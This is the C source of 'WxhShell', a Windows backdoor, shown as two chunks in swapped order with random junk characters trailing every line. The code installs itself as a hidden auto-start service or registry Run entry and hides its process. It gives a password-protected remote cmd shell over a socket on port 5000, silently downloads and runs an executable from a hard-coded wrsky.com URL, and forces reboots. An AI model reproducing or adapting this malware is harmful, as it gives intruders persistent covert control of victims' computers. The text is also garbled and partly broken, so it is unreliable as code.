    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o;`!kIQ  
    if(Boot(SHUTDOWN)) QLb MPS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @qK<T  
    else { ilEi")b=  
    closesocket(wsh); b;9n'UX\  
    ExitThread(0); :kw0y  
    } O|v (5 8A  
    break; J\W-dI  
    } K]N~~*`%`  
  // 获取shell uhn%lV]  
  case 's': { s` >H  
    CmdShell(wsh); Q!CO0w  
    closesocket(wsh); Ly (P=M>"y  
    ExitThread(0); @R:#"  
    break; f\ "`7  
  } l+ T, 2sd  
  // 退出 s3lJu/Xe{  
  case 'x': { @?2n]n6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g0#q"v55  
    CloseIt(wsh); )&Z>@S^  
    break; K&pM o.  
    } dc^Vc{26Z  
  // 离开 }. %s xw  
  case 'q': { ;;LuU<,$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aIGn9:\  
    closesocket(wsh); _J"mR]I+  
    WSACleanup(); &?a.mh/8[[  
    exit(1); QjukK6#W  
    break; (Nz]h:}r  
        } R "E<8w  
  } sQk|I x  
  } yMIT(  
=Nl5{qYz^&  
  // 提示信息 kEK[\f VE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ."JzDs   
} :|XCnK0  
  } ` *9EKj  
|Is'-g!  
  return; Ysk, w,K  
} pv$tTWk  
S|2VP8xY9  
// shell模块句柄 G:Hj;&'2  
int CmdShell(SOCKET sock) Xu<FDjr  
{ Pc4R!Tc  
STARTUPINFO si; /"0as_L<  
ZeroMemory(&si,sizeof(si)); wr@GN8e`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b:x7)$(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }|He?[TR  
PROCESS_INFORMATION ProcessInfo; ib50LCm  
char cmdline[]="cmd"; 3}M \c)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5!:._TcO  
  return 0; u&3EPu  
} YeIe\3x!N  
vb}/@F,Q5  
// 自身启动模式 Qg>L,ZO  
int StartFromService(void) cHn;}l!I  
{ _[$# b]V  
typedef struct 'oi2Seq  
{ M'|)dM|  
  DWORD ExitStatus; 5`UJouHi  
  DWORD PebBaseAddress; ;qVG \wQq  
  DWORD AffinityMask; T5{T[YdX<  
  DWORD BasePriority; >40 GP#Vz  
  ULONG UniqueProcessId; Gmgeve  
  ULONG InheritedFromUniqueProcessId; a#R %8)  
}   PROCESS_BASIC_INFORMATION; ^fZGX<fH   
D5[VK `4Z  
PROCNTQSIP NtQueryInformationProcess; n `#+L~X  
G"fdu(.@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W%zmD Hk~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %QE5<2k  
8 DL hk  
  HANDLE             hProcess; 4^MSX+zt  
  PROCESS_BASIC_INFORMATION pbi; ^^Bm$9  
Uf[T_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F(G<* lA  
  if(NULL == hInst ) return 0; T:)% P6/  
._K$0U!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D3]@i&^B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )T<D6l Lt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~"5C${~{  
 qV?sg  
  if (!NtQueryInformationProcess) return 0; 67ZYtA|t  
v+7*R)/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9g+UJ\u^  
  if(!hProcess) return 0; m\} =4b  
!a)s`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #_,uE9  
x{QBMe`  
  CloseHandle(hProcess); lSs^A@s  
~ \-r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _H/67dcz,  
if(hProcess==NULL) return 0; I4CHfs"ar  
tbRE/L<  
HMODULE hMod; sMN>wbHwh[  
char procName[255]; uJm#{[  
unsigned long cbNeeded; U !.~XT=  
kYmo7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u& AQl.u  
]zy~@,\  
  CloseHandle(hProcess); ^$8Vh =D  
{4o\S  
if(strstr(procName,"services")) return 1; // 以服务启动 PGMv(}%;  
a$laRtId7  
  return 0; // 注册表启动 p5D5%B/  
} #?A]v>I;C  
EI%M Azj}  
// 主模块 li1v 4  
int StartWxhshell(LPSTR lpCmdLine) +$(71#'y  
{ kf}F}Ad:%  
  SOCKET wsl; u~ Vs wXc4  
BOOL val=TRUE; J.*[gt%O|  
  int port=0; XTIu(f|d_;  
  struct sockaddr_in door; b1eK(F  
mL8A2>Gig  
  if(wscfg.ws_autoins) Install(); g"TPII$  
+p8qsT#7  
port=atoi(lpCmdLine); [vZfH!vLP  
T$#FAEz  
if(port<=0) port=wscfg.ws_port; xI-=t ib  
782[yLyv  
  WSADATA data; D)f5pEq'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZTN:|IKT  
k'6<jEbk  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *(@L+D0N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4jDs0Hn"  
  door.sin_family = AF_INET; uWJ#+XK.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /UEV8 1  
  door.sin_port = htons(port); BUcaj.S  
h9tB''ePE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7Qm;g-)f  
closesocket(wsl); ~ >&I^4  
return 1; E.?E~}z  
} g,A.Y,})  
[K"U_b}w  
  if(listen(wsl,2) == INVALID_SOCKET) { e6tH/`Uln  
closesocket(wsl); N*_/@qM> a  
return 1; <`oCz Q1  
} +Q@/F~1@6@  
  Wxhshell(wsl); EX+={U|ua$  
  WSACleanup(); Bf D,z  
J=f:\]@Oy  
return 0; m_{%tU;N  
2N8rM}?90  
} hj[+d%YZY"  
cq'}2pob  
// 以NT服务方式启动 ^yEj]]6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ov0O#`  
{ hqhu^.}]  
DWORD   status = 0;  ~ LJ>WA  
  DWORD   specificError = 0xfffffff; wGov|[X  
oTplxF1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k"Z"$V2i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3{2^G@j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [H6X2yjj|  
  serviceStatus.dwWin32ExitCode     = 0; b7W=HR  
  serviceStatus.dwServiceSpecificExitCode = 0; `:-@E2  
  serviceStatus.dwCheckPoint       = 0; 3/A!_Uc(  
  serviceStatus.dwWaitHint       = 0; Lo$Z>u4(c  
NB!'u) lFD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |.Y@^z;P3  
  if (hServiceStatusHandle==0) return; I,CAFq  
+ d+hvwEM  
status = GetLastError(); 5 WN`8?  
  if (status!=NO_ERROR) . Ce&9l  
{ }skRlC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1sIy*z  
    serviceStatus.dwCheckPoint       = 0; QK``tWLIg7  
    serviceStatus.dwWaitHint       = 0; L5-T6CD  
    serviceStatus.dwWin32ExitCode     = status; c&| '3i+  
    serviceStatus.dwServiceSpecificExitCode = specificError; . BYKdxa  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); d'Ik@D]I  
    return; ,w9#%=xE  
  } O X5Co <u  
t?du+:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S|RpA'n  
  serviceStatus.dwCheckPoint       = 0; A4 A6F<  
  serviceStatus.dwWaitHint       = 0; -H ac^4uF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U- *8%>Qp  
} Q+u#?['  
k *G!.  
// 处理NT服务事件,比如:启动、停止 ]2aYi9)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Oet#wp/I  
{ 1Rb XM n  
switch(fdwControl) !yV,|)y5F  
{ `PQ?8z|  
case SERVICE_CONTROL_STOP: niBjq#bJi  
  serviceStatus.dwWin32ExitCode = 0; |%2/I>o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =x='<{jtgW  
  serviceStatus.dwCheckPoint   = 0; y'0dl "Dy\  
  serviceStatus.dwWaitHint     = 0; HX /GLnY/X  
  { NSxPN:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $tt0D?$4  
  } 8XS {6<  
  return; AihL>a%  
case SERVICE_CONTROL_PAUSE:  s>*Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c5wkzY h  
  break; 3gV&`>@  
case SERVICE_CONTROL_CONTINUE: YP$*;l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @LW xz  
  break; ]Jq k C4|  
case SERVICE_CONTROL_INTERROGATE: Bp$+ F/  
  break; gvTOC F  
}; iX>!ju'V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kYI(<oTY~  
} Jm);|#y  
/BjGAa(  
// 标准应用程序主函数 w.T=Lzp  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >XXMIz:  
{ qj3bt_F!x  
lEYT{  
// 获取操作系统版本 HM$`z"p5jg  
OsIsNt=GetOsVer(); }!Diai*C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N[ Lz 0c?  
Y|0-m#1F#  
  // 从命令行安装 VM2@{V/=~  
  if(strpbrk(lpCmdLine,"iI")) Install(); VhH]n yi7D  
aaf_3UH.B  
  // 下载执行文件 $!l2=^\3  
if(wscfg.ws_downexe) { eUKl Co  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OFQi&/  
  WinExec(wscfg.ws_filenam,SW_HIDE); CyK$XDHa  
} AHMV@o`V  
V M\Z<}C  
if(!OsIsNt) { LL$,<q%(P  
// 如果时win9x,隐藏进程并且设置为注册表启动 4MtqQq4%  
HideProc(); c~L6fvS  
StartWxhshell(lpCmdLine); nnd-pf-  
} 1{Alj27  
else WRcFE<  
  if(StartFromService()) `6BS-AVO7  
  // 以服务方式启动 FbCZV3Y  
  StartServiceCtrlDispatcher(DispatchTable); 5%Fn^u:  
else SX?$H~A  
  // 普通方式启动 ^;k _  
  StartWxhshell(lpCmdLine); /c$Ht  
EYx2IJ  
return 0; 0w[0%:R^  
} A_(+r  
0Yzb=QMD  
I>8@=V~  
ndCS<ojcBP  
=========================================== gh #w%g1g  
y~A7pzBZ=  
l-^XW?CfL  
v20I<!5w  
M%5$-;6~_  
g7U:A0Z  
" CF}Nom)  
+}-W.H%`0  
#include <stdio.h> 7 6i rb!-  
#include <string.h> JbC\l  
#include <windows.h> BWi 7v  
#include <winsock2.h> wM4g1H%s  
#include <winsvc.h> syN b0LR  
#include <urlmon.h> ;&^"q{m  
qn"T? O  
#pragma comment (lib, "Ws2_32.lib") {!g.255+  
#pragma comment (lib, "urlmon.lib") V\M!]Nnxr  
'y M:W cN  
#define MAX_USER   100 // 最大客户端连接数 kzVI:  
#define BUF_SOCK   200 // sock buffer +@],$=aE?  
#define KEY_BUFF   255 // 输入 buffer &9lc\Y4PY  
HlL@{<  
#define REBOOT     0   // 重启 2-E71-J  
#define SHUTDOWN   1   // 关机 FTYLMQ i  
4 TQISu)  
#define DEF_PORT   5000 // 监听端口 4tTZkJc  
q'V{vFfY%  
#define REG_LEN     16   // 注册表键长度 ]qza*ba  
#define SVC_LEN     80   // NT服务名长度 =ci5&B?  
T4}?w  
// 从dll定义API TnU$L3k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^)IL<S&h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;?lM|kK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W7[ S7kd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $9_.Q/9>  
CG>2 ,pP,  
// wxhshell配置信息 &N7:k+E  
struct WSCFG { 3F'dT[;  
  int ws_port;         // 监听端口 ^57fHlw  
  char ws_passstr[REG_LEN]; // 口令 cKYvRe  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]ifHA# z`~  
  char ws_regname[REG_LEN]; // 注册表键名 D_ZBx+/_?  
  char ws_svcname[REG_LEN]; // 服务名 S,tVOxs^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8m[L]6F(-z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Dw ;vDK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oplA'Jgnv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4p.{G%h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" iCSM1W3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YTPmS\ H _  
Sd{"A0[A|  
}; @"0N@gU  
K<w5[E9V.  
// default Wxhshell configuration UuqnL{  
struct WSCFG wscfg={DEF_PORT, 8kc'|F\  
    "xuhuanlingzhe", rH:X/i;D  
    1, c3!|h1h/v  
    "Wxhshell", ^$,kTU'=  
    "Wxhshell", SyVbCj  
            "WxhShell Service", LLHOWD C(2  
    "Wrsky Windows CmdShell Service", taEMr> /  
    "Please Input Your Password: ", f>+}U;)EF  
  1, FuiW\=^  
  "http://www.wrsky.com/wxhshell.exe", {uM{5GSL  
  "Wxhshell.exe" ;_\  
    }; x7 1!r  
 ~0'l,  
// 消息定义模块 Qn3+bF4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;,})VoC\!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6:z&ukq E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3L]^x9Cu)  
char *msg_ws_ext="\n\rExit."; _vLT!y  
char *msg_ws_end="\n\rQuit."; WI!z92qq[  
char *msg_ws_boot="\n\rReboot..."; [k=9 +0p  
char *msg_ws_poff="\n\rShutdown..."; (dip Ks?K  
char *msg_ws_down="\n\rSave to "; # +]! u%n  
2_\|>g|  
char *msg_ws_err="\n\rErr!"; :::f,aCAu  
char *msg_ws_ok="\n\rOK!"; >~>[}d;glw  
jTgh+j]AP  
char ExeFile[MAX_PATH]; ; <@O^_+  
int nUser = 0; bNU^tL3QZ  
HANDLE handles[MAX_USER]; ,UZE;lXJ'Q  
int OsIsNt; KJC9^BAr  
hPpXB:(-0  
SERVICE_STATUS       serviceStatus; ;k%sKVP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *-LU'yM6Yh  
'htA! KHF  
// 函数声明 '^(v8lCu  
int Install(void); 3M*[a~  
int Uninstall(void); wP1VQUL  
int DownloadFile(char *sURL, SOCKET wsh); CgKSK0/a  
int Boot(int flag); ']Xx#U N  
void HideProc(void); (g:W|hS  
int GetOsVer(void); <\~#\A=;  
int Wxhshell(SOCKET wsl); "K!BJQ  
void TalkWithClient(void *cs); . mrRv8>$  
int CmdShell(SOCKET sock); "wC5hj]  
int StartFromService(void); a&VJ YAB  
int StartWxhshell(LPSTR lpCmdLine); OYp8r  
fDHISJv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wSyu^KDz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >qvD3 9w  
jeFl+K'1  
// 数据结构和表定义 ]b| @<E7Y  
SERVICE_TABLE_ENTRY DispatchTable[] = BmF>IQ`M?  
{ 1O7ss_E  
{wscfg.ws_svcname, NTServiceMain}, #R~NR8( z  
{NULL, NULL} Q%1;{5   
}; T2;  9  
q.F1Jj  
// 自我安装 Ol[IC  
int Install(void) <!(n5y_  
{ CHw_?#h  
  char svExeFile[MAX_PATH]; =~m"TQv  
  HKEY key; -XG$ 0  
  strcpy(svExeFile,ExeFile); h5keYBA  
^v5hr>m  
// 如果是win9x系统,修改注册表设为自启动 r8 >?-P  
if(!OsIsNt) { '="){  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @}!$NI8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .T-p]9*p  
  RegCloseKey(key); GnaV I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *)D*iU&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kP@OIhRe  
  RegCloseKey(key); OSIp  
  return 0; R0d|j#vP  
    } ClZyQ=UAD  
  } ppP?1Il`kb  
} "TJ^Z!  
else { IfCqezd  
kxwm08/|f  
// 如果是NT以上系统,安装为系统服务 97dI4 t<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <F & hfy  
if (schSCManager!=0) 'B6H/d>  
{ bQjHQ"G  
  SC_HANDLE schService = CreateService ?.ihWbW_  
  ( qW>J-,61/  
  schSCManager, e' VXyf  
  wscfg.ws_svcname, l'\b(3JF  
  wscfg.ws_svcdisp, }rZ=j6Z  
  SERVICE_ALL_ACCESS, p<19 Jw<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rNC3h"i\  
  SERVICE_AUTO_START, ra2q. H  
  SERVICE_ERROR_NORMAL, Lpf=VyqC  
  svExeFile, ?EAqv]  
  NULL, (Z +C  
  NULL, ,SwaDWNO  
  NULL, <);u]0  
  NULL, }TvAjLIS6  
  NULL QLG,r^  
  ); hDMp^^$  
  if (schService!=0) =oDrN7`,B  
  { TaT&x_v^~a  
  CloseServiceHandle(schService); ?%ntO]  
  CloseServiceHandle(schSCManager); x=N;>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @R{&>Q:.  
  strcat(svExeFile,wscfg.ws_svcname); ,[#f}|s_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s%|J(0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o]U ==  
  RegCloseKey(key); ]NsaFDi\  
  return 0; rRel\8  
    } c'R|Wyf  
  } v4aGL<SO  
  CloseServiceHandle(schSCManager); M6!brj\[|  
} ^umAfk5r?H  
} rnE'gH(V'  
Su#1yw>  
return 1; +-d>Sl (  
} L 3@wdC ~0  
c= u ORt>  
// 自我卸载 mH .I!  
int Uninstall(void) :tG5~sK  
{ Q.\ovk~,a  
  HKEY key; xRN$cZC  
pE,BE%  
if(!OsIsNt) { PX)qA =4q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _P1-d`b0 a  
  RegDeleteValue(key,wscfg.ws_regname); WpZ^R;eK  
  RegCloseKey(key); 'L/TaP/3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8 K!a:{  
  RegDeleteValue(key,wscfg.ws_regname); q'tT)IgD  
  RegCloseKey(key); iX p8u**  
  return 0; ]S ,GHPEN  
  } (tN$G:+")F  
} UxtZBNn8  
} #cb6~AH  
else { yl%F<5  
,#l oVLy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .*"IJD9  
if (schSCManager!=0) U+ =q_ <  
{ rC16?RovQ@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -X \v B  
  if (schService!=0) (eP)>G]  
  { t:7jlD!d  
  if(DeleteService(schService)!=0) { k$!&3Rh  
  CloseServiceHandle(schService); Rw`s O:eZ  
  CloseServiceHandle(schSCManager); * =l9gv&  
  return 0; + aF jtb  
  } !ZW0yCwLQ  
  CloseServiceHandle(schService); Y~!@  
  } v%^H9aK_  
  CloseServiceHandle(schSCManager); LlJvuQ 28  
} d+'+z %s%  
} }kDrUnBk  
sx\7Z#|  
return 1; v( B4Bz2  
} o ++Hdvai  
C7PiuL?  
// 从指定url下载文件 C2v7(  
int DownloadFile(char *sURL, SOCKET wsh) HZ3<}`P_W  
{ i1C'  
  HRESULT hr; )Be;Zw.|  
char seps[]= "/"; \Y$NGB=2[  
char *token; ):@B1 yR  
char *file; psVRdluS   
char myURL[MAX_PATH]; cS"6%:hQ  
char myFILE[MAX_PATH]; ZHJzh\?  
aXagiz\;  
strcpy(myURL,sURL); Pt+_0OsR  
  token=strtok(myURL,seps); kn.z8%^(  
  while(token!=NULL)  M > <   
  { P.Bk-#}$  
    file=token; 4dP_'0]9A:  
  token=strtok(NULL,seps); I1,?qr"Zr  
  } 79DC]48M  
5Fl|=G+3@g  
GetCurrentDirectory(MAX_PATH,myFILE); C#R9Hlb  
strcat(myFILE, "\\"); hCgNS1%4  
strcat(myFILE, file); o%a$m9I  
  send(wsh,myFILE,strlen(myFILE),0); 3'wBX  
send(wsh,"...",3,0); p:jrqjLp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mfvQ]tz_+  
  if(hr==S_OK) mN`a]L'  
return 0; MgekLP )&  
else T$e_ao|  
return 1; I f(_$>  
' e@}N)IX  
} 'Vd>"ti  
?)&TewP  
// 系统电源模块 ?kSs7e>  
int Boot(int flag) jX%Q  
{ .+<K-'&=  
  HANDLE hToken; {`LV{ !  
  TOKEN_PRIVILEGES tkp; ]+8,@%="  
@ h]H_  
  if(OsIsNt) { +j,;g#d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [g? NU]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z,tax`O  
    tkp.PrivilegeCount = 1; _!C H  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JpDkf$kM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ! [X<>  
if(flag==REBOOT) { KB^IGF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5eYCnc9  
  return 0; 1^COR+>L  
} uD"Voh|]=  
else { =ZQIpc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) IYWD_}_ $  
  return 0; $f+9svq  
} bpzA ' g>  
  } gS%J`X$  
  else { Z& %61jGK  
if(flag==REBOOT) { waC%o%fD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VYBl0!t  
  return 0; w%ForDB>P  
} D+V^nCcx%  
else { 8Y9mB #X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7"NUof?i  
  return 0; ^6`U0|5mRX  
} l},%g%}iMU  
} p82qFzq#  
}7V/(K  
return 1; z)26Ahm TV  
} o|+tRl  
i< ih :  
// win9x进程隐藏模块 _ |; bh  
void HideProc(void) nT>?}/S  
{ pr2d}~q4{  
AXyuXB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SG~R!kN}Q  
  if ( hKernel != NULL ) X7G6y|4;w  
  { {XVSHUtw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); eg3{sDv,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (w.B_9#  
    FreeLibrary(hKernel); pO^ 6p%  
  } (<ejJPWT  
&"BKue~q@p  
return; ,FTF@h-Cs  
} */1z=  
JwO+Dd  
// 获取操作系统版本 m*'#`vIbb  
int GetOsVer(void) %63<Iz"  
{ 43eGfp'  
  OSVERSIONINFO winfo; gnv4.f:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GXAcy OV  
  GetVersionEx(&winfo); Uz0mSfBp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G -;Yua2\  
  return 1;  -x7L8Wj  
  else e1H.2n{y^  
  return 0; K= 69z  
} yY1&h op  
=Ru i  
// 客户端句柄模块 ''Hq-Ng  
int Wxhshell(SOCKET wsl) 6ul34\;  
{ I=1tf;Bsi  
  SOCKET wsh; 3y@'p(}Az  
  struct sockaddr_in client; |h#mv~cF  
  DWORD myID; {PfE7KH  
lU@ni(69d  
  while(nUser<MAX_USER) !u^(<.xJ   
{ p~r +2(J  
  int nSize=sizeof(client); 4[6A~iC_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a9"Gg}h\  
  if(wsh==INVALID_SOCKET) return 1; Y A;S'dxY  
W4Eo1 E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H}:apRb  
if(handles[nUser]==0) 7_JK2  
  closesocket(wsh); "xh]>_;&'  
else I3SLR  
  nUser++; b2Ct^`|M5  
  }  iKDGYM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q.!8q3`  
Q<"zpwHR  
  return 0; s,0,w--=  
} Chjth"  
qD%Jf4.0j  
// 关闭 socket hG3b7!^#g  
void CloseIt(SOCKET wsh) &359tG0@P  
{ .>&kA f.  
closesocket(wsh); E9 |i:  
nUser--; $ZE OE8.\  
ExitThread(0); -FJ 5N}R  
} * F&C`]  
)u<sEF  
// 客户端请求句柄 7XdLZ4ub  
void TalkWithClient(void *cs) +f|u5c  
{ D7 .R NXo  
N>VA`+aFR  
  SOCKET wsh=(SOCKET)cs; Pg5 1}{  
  char pwd[SVC_LEN]; st pa2z  
  char cmd[KEY_BUFF]; M,6m*  
char chr[1]; 3 bGpK9M~  
int i,j; i5|!M IY  
8W#whK2El  
  while (nUser < MAX_USER) { xez~Yw2  
Io| 72W}rg  
if(wscfg.ws_passstr) { "M2HiV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AOeptv^k3}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \U,.!'+  
  //ZeroMemory(pwd,KEY_BUFF); GYCc)Guc  
      i=0; eFbr1IV  
  while(i<SVC_LEN) { N-;e" g  
l9#vr  
  // 设置超时 5^[V%4y>  
  fd_set FdRead; AOhsat;O`  
  struct timeval TimeOut; sJ!AI n<  
  FD_ZERO(&FdRead); {R]4N]l>  
  FD_SET(wsh,&FdRead); vxK}f*d  
  TimeOut.tv_sec=8; k.?b2]@$  
  TimeOut.tv_usec=0; Fn$EP:>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YWjw`,EA(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8D)2/$NsY}  
1+v)#Wj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Kp8!^os  
  pwd=chr[0]; #%Uk}5;-  
  if(chr[0]==0xd || chr[0]==0xa) { z`5d,M  
  pwd=0; @~xNax&^  
  break; A)&OR]0[  
  } 5 J61PuH   
  i++; 6 O!&!  
    } 80LKxA;5N  
RT4ns+J1  
  // 如果是非法用户,关闭 socket S2h?Q $e3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -(ABQgSO]  
} 7;+:J;xf66  
E_MGejm@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &%$r3ePwc  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `c ^2  
c7E=1*C<  
while(1) { e>=P'  
nPD5/xW  
  ZeroMemory(cmd,KEY_BUFF); U8PSJ0ny  
7kp$C?7K  
      // 自动支持客户端 telnet标准   AbC /  
  j=0; V \,Z (  
  while(j<KEY_BUFF) { S9U,so?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _jQ"_Ff  
  cmd[j]=chr[0]; ! jm>  
  if(chr[0]==0xa || chr[0]==0xd) { PTXy:>]M  
  cmd[j]=0; 51u8.%{4  
  break; 4N|^Joi  
  } !'Q/9%g  
  j++; FY|.eY_7 {  
    } nb9qVuAGU  
DDsU6RyN  
  // 下载文件 !ZPaU11  
  if(strstr(cmd,"http://")) { yZE"t[q#O  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I9-vV>:z  
  if(DownloadFile(cmd,wsh)) 2;VggPpT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); VImcW;Xa  
  else eQbDs_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -{dsl|Dl  
  } ^p ?O1qTg  
  else { 2>Bx/QF@<  
Sp3?I2 o  
    switch(cmd[0]) { \$n?J(N  
